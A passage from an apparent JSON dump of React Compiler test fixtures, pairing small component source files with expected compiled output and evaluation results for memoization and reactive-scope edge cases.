    "content": "function Component(props) {\n  const wat = () => {\n    const pathname = 'wat';\n    pathname;\n  };\n\n  const pathname = props.wat;\n  const deeplinkItemId = pathname ? props.itemID : null;\n\n  return <button onClick={() => wat()}>{deeplinkItemId}</button>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{wat: '/dev/null', itemID: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableAssumeHooksFollowRulesOfReact\nfunction Component({label, highlightedItem}) {\n  const serverTime = useServerTime();\n  const highlight = new Highlight(highlightedItem);\n\n  const time = serverTime.get();\n  // subtle bit here: the binary expression infers the result of the call\n  // as a primitive and not needing memoization. the logical is necessary\n  // because without it there are no intermediate scopes which observe\n  // the result of the binary expression, so its memoization can be pruned\n  const timestampLabel = time / 1000 || label;\n\n  return (\n    <>\n      {highlight.render()}\n      {timestampLabel}\n    </>\n  );\n}\n\nfunction useServerTime() {\n  'use no forget';\n\n  return {\n    get() {\n      return 42000; // would be a constant value from the server\n    },\n  };\n}\n\nclass Highlight {\n  constructor(value) {\n    this.value = value;\n  }\n\n  render() {\n    return this.value;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{label: '<unused>', highlightedItem: 'Seconds passed: '}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(8);\n  const { label, highlightedItem } = t0;\n  const serverTime = useServerTime();\n  let t1;\n  let timestampLabel;\n  if ($[0] !== highlightedItem || $[1] !== label || $[2] !== serverTime) {\n    const highlight = new Highlight(highlightedItem);\n    const time = serverTime.get();\n    timestampLabel = time / 1000 || label;\n    t1 = highlight.render();\n    $[0] = highlightedItem;\n    $[1] = label;\n    $[2] = serverTime;\n    $[3] = t1;\n    $[4] = timestampLabel;\n  } else {\n    t1 = $[3];\n    timestampLabel = $[4];\n  }\n  let t2;\n  if ($[5] !== t1 || $[6] !== timestampLabel) {\n    t2 = (\n      <>\n        {t1}\n        {timestampLabel}\n      </>\n    );\n    $[5] = t1;\n    $[6] = timestampLabel;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  return t2;\n}\n\nfunction useServerTime() {\n  \"use no forget\";\n\n  return {\n    get() {\n      return 42000;\n    },\n  };\n}\n\nclass Highlight {\n  constructor(value) {\n    this.value = value;\n  }\n\n  render() {\n    return this.value;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ label: \"<unused>\", highlightedItem: \"Seconds passed: \" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Seconds passed: 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-independently-memoized-property-load-for-method-call.js",
    "content": "// @flow @enableAssumeHooksFollowRulesOfReact\nfunction Component({label, highlightedItem}) {\n  const serverTime = useServerTime();\n  const highlight = new Highlight(highlightedItem);\n\n  const time = serverTime.get();\n  // subtle bit here: the binary expression infers the result of the call\n  // as a primitive and not needing memoization. the logical is necessary\n  // because without it there are no intermediate scopes which observe\n  // the result of the binary expression, so its memoization can be pruned\n  const timestampLabel = time / 1000 || label;\n\n  return (\n    <>\n      {highlight.render()}\n      {timestampLabel}\n    </>\n  );\n}\n\nfunction useServerTime() {\n  'use no forget';\n\n  return {\n    get() {\n      return 42000; // would be a constant value from the server\n    },\n  };\n}\n\nclass Highlight {\n  constructor(value) {\n    this.value = value;\n  }\n\n  render() {\n    return this.value;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{label: '<unused>', highlightedItem: 'Seconds passed: '}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableAssumeHooksFollowRulesOfReact\nimport {Stringify, identity, useHook} from 'shared-runtime';\n\nfunction Component({index}) {\n  const data = useHook();\n\n  const a = identity(data, index);\n  const b = identity(data, index);\n  const c = identity(data, index);\n\n  return (\n    <div>\n      <Stringify value={identity(b)} />\n      <Stringify value={identity(a)} />\n      <Stringify value={identity(c)} />\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{index: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableAssumeHooksFollowRulesOfReact\nimport { Stringify, identity, useHook } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(17);\n  const { index } = t0;\n  const data = useHook();\n  let T0;\n  let t1;\n  let t2;\n  let t3;\n  if ($[0] !== data || $[1] !== index) {\n    const a = identity(data, index);\n    const b = identity(data, index);\n    const c = identity(data, index);\n    const t4 = identity(b);\n    if ($[6] !== t4) {\n      t2 = <Stringify value={t4} />;\n      $[6] = t4;\n      $[7] = t2;\n    } else {\n      t2 = $[7];\n    }\n    const t5 = identity(a);\n    if ($[8] !== t5) {\n      t3 = <Stringify value={t5} />;\n      $[8] = t5;\n      $[9] = t3;\n    } else {\n      t3 = $[9];\n    }\n    T0 = Stringify;\n    t1 = identity(c);\n    $[0] = data;\n    $[1] = index;\n    $[2] = T0;\n    $[3] = t1;\n    $[4] = t2;\n    $[5] = t3;\n  } else {\n    T0 = $[2];\n    t1 = $[3];\n    t2 = $[4];\n    t3 = $[5];\n  }\n  let t4;\n  if ($[10] !== T0 || $[11] !== t1) {\n    t4 = <T0 value={t1} />;\n    $[10] = T0;\n    $[11] = t1;\n    $[12] = t4;\n  } else {\n    t4 = $[12];\n  }\n  let t5;\n  if ($[13] !== t2 || $[14] !== t3 || $[15] !== t4) {\n    t5 = (\n      <div>\n        {t2}\n        {t3}\n        {t4}\n      </div>\n    );\n    $[13] = t2;\n    $[14] = t3;\n    $[15] = t4;\n    $[16] = t5;\n  } else {\n    t5 = $[16];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ index: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div><div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div><div>{\"value\":{\"a\":0,\"b\":\"value1\",\"c\":true}}</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-instruction-part-of-already-closed-scope.js",
    "content": "// @enableAssumeHooksFollowRulesOfReact\nimport {Stringify, identity, useHook} from 'shared-runtime';\n\nfunction Component({index}) {\n  const data = useHook();\n\n  const a = identity(data, index);\n  const b = identity(data, index);\n  const c = identity(data, index);\n\n  return (\n    <div>\n      <Stringify value={identity(b)} />\n      <Stringify value={identity(a)} />\n      <Stringify value={identity(c)} />\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{index: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @compilationMode:\"infer\"\n'use strict';\n\nfunction getWeekendDays(user) {\n  return [0, 6];\n}\n\nfunction getConfig(weekendDays) {\n  return [1, 5];\n}\n\ncomponent Calendar(user, defaultFirstDay, currentDate, view) {\n  const weekendDays = getWeekendDays(user);\n  let firstDay = defaultFirstDay;\n  let daysToDisplay = 7;\n  if (view === 'week') {\n    let lastDay;\n    // this assignment produces invalid code\n    [firstDay, lastDay] = getConfig(weekendDays);\n    daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;\n  } else if (view === 'day') {\n    firstDay = currentDate.getDayOfWeek();\n    daysToDisplay = 1;\n  }\n\n  return [currentDate, firstDay, daysToDisplay];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Calendar,\n  params: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'week',\n    },\n  ],\n  sequentialRenders: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'week',\n    },\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'day',\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\n\"use strict\";\nimport { c as _c } from \"react/compiler-runtime\";\n\nfunction getWeekendDays(user) {\n  return [0, 6];\n}\n\nfunction getConfig(weekendDays) {\n  return [1, 5];\n}\n\nfunction Calendar(t0) {\n  const $ = _c(12);\n  const { user, defaultFirstDay, currentDate, view } = t0;\n  let daysToDisplay;\n  let firstDay;\n  if (\n    $[0] !== currentDate ||\n    $[1] !== defaultFirstDay ||\n    $[2] !== user ||\n    $[3] !== view\n  ) {\n    const weekendDays = getWeekendDays(user);\n    firstDay = defaultFirstDay;\n    daysToDisplay = 7;\n    if (view === \"week\") {\n      let lastDay;\n\n      [firstDay, lastDay] = getConfig(weekendDays);\n      daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;\n    } else {\n      if (view === \"day\") {\n        let t1;\n        if ($[6] !== currentDate) {\n          t1 = currentDate.getDayOfWeek();\n          $[6] = currentDate;\n          $[7] = t1;\n        } else {\n          t1 = $[7];\n        }\n        firstDay = t1;\n        daysToDisplay = 1;\n      }\n    }\n    $[0] = currentDate;\n    $[1] = defaultFirstDay;\n    $[2] = user;\n    $[3] = view;\n    $[4] = daysToDisplay;\n    $[5] = firstDay;\n  } else {\n    daysToDisplay = $[4];\n    firstDay = $[5];\n  }\n  let t1;\n  if ($[8] !== currentDate || $[9] !== daysToDisplay || $[10] !== firstDay) {\n    t1 = [currentDate, firstDay, daysToDisplay];\n    $[8] = currentDate;\n    $[9] = daysToDisplay;\n    $[10] = firstDay;\n    $[11] = t1;\n  } else {\n    t1 = $[11];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Calendar,\n  params: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: { getDayOfWeek: () => 3 },\n      view: \"week\",\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: { getDayOfWeek: () => 3 },\n      view: \"week\",\n    },\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: { getDayOfWeek: () => 3 },\n      view: \"day\",\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"getDayOfWeek\":\"[[ function params=0 ]]\"},1,5]\n[{\"getDayOfWeek\":\"[[ function params=0 ]]\"},3,1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-destructuring-reassignment-undefined-variable.js",
    "content": "// @flow @compilationMode:\"infer\"\n'use strict';\n\nfunction getWeekendDays(user) {\n  return [0, 6];\n}\n\nfunction getConfig(weekendDays) {\n  return [1, 5];\n}\n\ncomponent Calendar(user, defaultFirstDay, currentDate, view) {\n  const weekendDays = getWeekendDays(user);\n  let firstDay = defaultFirstDay;\n  let daysToDisplay = 7;\n  if (view === 'week') {\n    let lastDay;\n    // this assignment produces invalid code\n    [firstDay, lastDay] = getConfig(weekendDays);\n    daysToDisplay = ((7 + lastDay - firstDay) % 7) + 1;\n  } else if (view === 'day') {\n    firstDay = currentDate.getDayOfWeek();\n    daysToDisplay = 1;\n  }\n\n  return [currentDate, firstDay, daysToDisplay];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Calendar,\n  params: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'week',\n    },\n  ],\n  sequentialRenders: [\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'week',\n    },\n    {\n      user: {},\n      defaultFirstDay: 1,\n      currentDate: {getDayOfWeek: () => 3},\n      view: 'day',\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {CONST_TRUE, Stringify, mutate, useIdentity} from 'shared-runtime';\n\n/**\n * Fixture showing an edge case for ReactiveScope variable propagation.\n * Fixed in the new inference model\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   Forget:\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   [[ (exception in render) Error: invariant broken ]]\n *\n */\nfunction Component() {\n  const obj = CONST_TRUE ? {inner: {value: 'hello'}} : null;\n  const boxedInner = [obj?.inner];\n  useIdentity(null);\n  mutate(obj);\n  if (boxedInner[0] !== obj?.inner) {\n    throw new Error('invariant broken');\n  }\n  return <Stringify obj={obj} inner={boxedInner} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: 0}],\n  sequentialRenders: [{arg: 0}, {arg: 1}],\n};\n\n```\n\n## Code\n\n```javascript\n// @enableNewMutationAliasingModel\nimport { CONST_TRUE, Stringify, mutate, useIdentity } from \"shared-runtime\";\n\n/**\n * Fixture showing an edge case for ReactiveScope variable propagation.\n * Fixed in the new inference model\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   Forget:\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   [[ (exception in render) Error: invariant broken ]]\n *\n */\nfunction Component() {\n  const obj = CONST_TRUE ? { inner: { value: \"hello\" } } : null;\n  const boxedInner = [obj?.inner];\n  useIdentity(null);\n  mutate(obj);\n  if (boxedInner[0] !== obj?.inner) {\n    throw new Error(\"invariant broken\");\n  }\n\n  return <Stringify obj={obj} inner={boxedInner} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arg: 0 }],\n  sequentialRenders: [{ arg: 0 }, { arg: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.tsx",
    "content": "// @enableNewMutationAliasingModel\nimport {CONST_TRUE, Stringify, mutate, useIdentity} from 'shared-runtime';\n\n/**\n * Fixture showing an edge case for ReactiveScope variable propagation.\n * Fixed in the new inference model\n *\n * Found differences in evaluator results\n *   Non-forget (expected):\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   Forget:\n *   <div>{\"obj\":{\"inner\":{\"value\":\"hello\"},\"wat0\":\"joe\"},\"inner\":[\"[[ cyclic ref *2 ]]\"]}</div>\n *   [[ (exception in render) Error: invariant broken ]]\n *\n */\nfunction Component() {\n  const obj = CONST_TRUE ? {inner: {value: 'hello'}} : null;\n  const boxedInner = [obj?.inner];\n  useIdentity(null);\n  mutate(obj);\n  if (boxedInner[0] !== obj?.inner) {\n    throw new Error('invariant broken');\n  }\n  return <Stringify obj={obj} inner={boxedInner} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: 0}],\n  sequentialRenders: [{arg: 0}, {arg: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.expect.md",
    "content": "\n## Input\n\n```javascript\nimport invariant from 'invariant';\nimport {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp({count}) {\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  const y = sum(x, count);\n  mutate(z);\n  const z2 = z;\n  const thing = [y, z2];\n  if (thing[1] !== z) {\n    invariant(false, 'oh no!');\n  }\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{count: 2}],\n  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport invariant from \"invariant\";\nimport {\n  makeObject_Primitives,\n  mutate,\n  sum,\n  useIdentity,\n} from \"shared-runtime\";\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp(t0) {\n  const $ = _c(6);\n  const { count } = t0;\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  let t1;\n  if ($[0] !== count || $[1] !== x) {\n    t1 = sum(x, count);\n    $[0] = count;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const y = t1;\n  mutate(z);\n  const z2 = z;\n  let t2;\n  if ($[3] !== y || $[4] !== z2) {\n    t2 = [y, z2];\n    $[3] = y;\n    $[4] = z2;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const thing = t2;\n  if (thing[1] !== z) {\n    invariant(false, \"oh no!\");\n  }\n\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{ count: 2 }],\n  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]\n[4,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]\n[5,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.ts",
    "content": "import invariant from 'invariant';\nimport {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp({count}) {\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  const y = sum(x, count);\n  mutate(z);\n  const z2 = z;\n  const thing = [y, z2];\n  if (thing[1] !== z) {\n    invariant(false, 'oh no!');\n  }\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{count: 2}],\n  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport invariant from 'invariant';\nimport {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp({count}) {\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  const y = sum(x, count);\n  mutate(z);\n  const thing = [y, z];\n  if (thing[1] !== z) {\n    invariant(false, 'oh no!');\n  }\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{count: 2}],\n  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport invariant from \"invariant\";\nimport {\n  makeObject_Primitives,\n  mutate,\n  sum,\n  useIdentity,\n} from \"shared-runtime\";\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp(t0) {\n  const $ = _c(6);\n  const { count } = t0;\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  let t1;\n  if ($[0] !== count || $[1] !== x) {\n    t1 = sum(x, count);\n    $[0] = count;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const y = t1;\n  mutate(z);\n  let t2;\n  if ($[3] !== y || $[4] !== z) {\n    t2 = [y, z];\n    $[3] = y;\n    $[4] = z;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const thing = t2;\n  if (thing[1] !== z) {\n    invariant(false, \"oh no!\");\n  }\n\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{ count: 2 }],\n  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [4,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]\n[4,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]\n[5,{\"a\":0,\"b\":\"value1\",\"c\":true,\"wat0\":\"joe\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.ts",
    "content": "import invariant from 'invariant';\nimport {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';\n\n/**\n * Here, `z`'s original memo block is removed due to the inner hook call.\n * However, we also infer that `z` is non-reactive, so by default we would create\n * the memo block for `thing = [y, z]` as only depending on `y`.\n *\n * This could then mean that `thing[1]` and `z` may not refer to the same value,\n * since z recreates every time but `thing` doesn't correspondingly invalidate.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction MyApp({count}) {\n  const z = makeObject_Primitives();\n  const x = useIdentity(2);\n  const y = sum(x, count);\n  mutate(z);\n  const thing = [y, z];\n  if (thing[1] !== z) {\n    invariant(false, 'oh no!');\n  }\n  return thing;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: MyApp,\n  params: [{count: 2}],\n  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  useNoAlias,\n} from 'shared-runtime';\n\n/**\n * Here the scope for `obj` is pruned because it spans the `useNoAlias()` hook call.\n * Because `obj` is non-reactive, it would by default be excluded as dependency for\n * `result = [...identity(obj)..., obj]`, but this could then cause the values in\n * `result` to be out of sync with `obj`.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction Foo() {\n  const obj = makeObject_Primitives();\n  // hook calls keeps the next two lines as its own reactive scope\n  useNoAlias();\n\n  const shouldCaptureObj = obj != null && CONST_TRUE;\n  const result = [shouldCaptureObj ? identity(obj) : null, obj];\n\n  useNoAlias(result, obj);\n\n  if (shouldCaptureObj && result[0] !== obj) {\n    throw new Error('Unexpected');\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  useNoAlias,\n} from \"shared-runtime\";\n\n/**\n * Here the scope for `obj` is pruned because it spans the `useNoAlias()` hook call.\n * Because `obj` is non-reactive, it would by default be excluded as dependency for\n * `result = [...identity(obj)..., obj]`, but this could then cause the values in\n * `result` to be out of sync with `obj`.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction Foo() {\n  const $ = _c(3);\n  const obj = makeObject_Primitives();\n\n  useNoAlias();\n\n  const shouldCaptureObj = obj != null && CONST_TRUE;\n  const t0 = shouldCaptureObj ? identity(obj) : null;\n  let t1;\n  if ($[0] !== obj || $[1] !== t0) {\n    t1 = [t0, obj];\n    $[0] = obj;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const result = t1;\n\n  useNoAlias(result, obj);\n\n  if (shouldCaptureObj && result[0] !== obj) {\n    throw new Error(\"Unexpected\");\n  }\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"a\":0,\"b\":\"value1\",\"c\":true},\"[[ cyclic ref *1 ]]\"]\n[{\"a\":0,\"b\":\"value1\",\"c\":true},\"[[ cyclic ref *1 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.ts",
    "content": "import {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  useNoAlias,\n} from 'shared-runtime';\n\n/**\n * Here the scope for `obj` is pruned because it spans the `useNoAlias()` hook call.\n * Because `obj` is non-reactive, it would by default be excluded as dependency for\n * `result = [...identity(obj)..., obj]`, but this could then cause the values in\n * `result` to be out of sync with `obj`.\n *\n * The fix is to consider pruned memo block outputs as reactive, since they will\n * recreate on every render. This means `thing` depends on both y and z.\n */\nfunction Foo() {\n  const obj = makeObject_Primitives();\n  // hook calls keeps the next two lines as its own reactive scope\n  useNoAlias();\n\n  const shouldCaptureObj = obj != null && CONST_TRUE;\n  const result = [shouldCaptureObj ? identity(obj) : null, obj];\n\n  useNoAlias(result, obj);\n\n  if (shouldCaptureObj && result[0] !== obj) {\n    throw new Error('Unexpected');\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n  sequentialRenders: [{}, {}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  mutateAndReturn,\n  useHook,\n} from 'shared-runtime';\n\n/**\n * value and `mutateAndReturn(value)` should end up in the same reactive scope.\n * (1) `value = makeObject` and `(temporary) = mutateAndReturn(value)` should be assigned\n * the same scope id (on their identifiers)\n * (2) alignScopesToBlockScopes should expand the scopes of both `(temporary) = identity(1)`\n * and `(temporary) = mutateAndReturn(value)` to the outermost value block boundaries\n * (3) mergeOverlappingScopes should merge the scopes of the above two instructions\n */\nfunction Component({}) {\n  const value = makeObject_Primitives();\n  useHook();\n  const mutatedValue =\n    identity(1) && CONST_TRUE ? mutateAndReturn(value) : null;\n  const result = [];\n  useHook();\n  result.push(value, mutatedValue);\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n  sequentialRenders: [{}, {}, {}],\n};\n\n```\n\n## Code\n\n```javascript\nimport {\n  CONST_TRUE,\n  identity,\n  makeObject_Primitives,\n  mutateAndReturn,\n  